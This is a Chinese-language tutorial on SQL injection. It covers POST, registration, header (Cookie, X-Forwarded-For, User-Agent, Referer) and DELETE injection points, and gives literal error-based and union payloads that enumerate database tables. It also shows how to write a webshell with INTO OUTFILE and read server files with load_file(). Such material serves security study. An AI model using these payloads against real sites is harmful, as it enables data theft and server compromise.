目录
-
POST 注入
POST功能点也可能会存在SQL注入,
和数据库进行交互的功能点可能会存在SQL注入
-
POST注入的常见功能点:
- 注册功能点
- 登录功能点
- 留言板
- 资料修改
- 资料删除
- ..........
-
POST注入时,一般两种方法:
- 使用hackbar 类似插件功能注入
- 使用Burp Suite 的Repeater 重放模块
实战演示:
pay load: 'or 1 #
-
利用报错注入
payload:'and extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
-
union 注入:
payload:'union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)#
-
注册功能点注入:
payload:'or extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) or'
Referer 注入:
在真实环境中有的注入点不仅仅只是在请求体中,也可能是存在于其他字段上,也就是HTTP的头部注入。
HTTP头注入: 注入点在HTTP请求头部的某个字段中,通常包含以下几种:
COOKIE 型注入: HTTP请求的时候会带上客户端的cookie,注入点存在cookie当中的某个字段中
XFF (X-Forward-For) 注入: HTTP请求中的X-Forworded-For字段,通过修改XFF-Forwarded-For 头对带入系统的dns进行SQL注入,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或文件中,可以通过修改XFF头伪造真实IP
Clien-IP:作用同XFF。
User-Agent注入:有的网站会将客户端使用的操作系统或浏览器版本存入数据库中。
Referer注入:有的网站会将客户端referer存入数据库中。
payload:'or extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) or'
其他注入(DELETE)
payload:'or extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
这里需要注意,因为是在请求头中,所以需要将空格编码成 + 号。
-
SQL 注入读写文件
在实际应用中,有时候可能由于一些需求, 我们需要读取或者写入文件到目标服务器中,当然读写文件时需要有一定的权限才可以进行读取,常用的函数主要有以下两个:
-
into outfile:
写shell:
当权限为root且知道绝对路径时,可以直接写一句话木马到服务器,注意存在。
'union select 1,"",3 into outfile "c:\\phpstudy\\PHPTutorial\\WWW\\xx.php",
也可以查询null值。
还可以使用load_ file函数读取文件,
-
load_ file():
文件读取,利用load_file()函数进行文件读取,结合@@basedir、@@datedir等函数爆路径
union select 1,2,hex(load_file('c:\\phpstudy\\PHPTutorial\\WWW\\xx.php'))--+
前提条件:
- 必须有权限读取且文件是可读的,低权限无法读取高权限用户文件
- 被文件必须在服务器上
- 必须知道文件的绝对路径
- 读取的文件必须小于设定:max_allowed_packet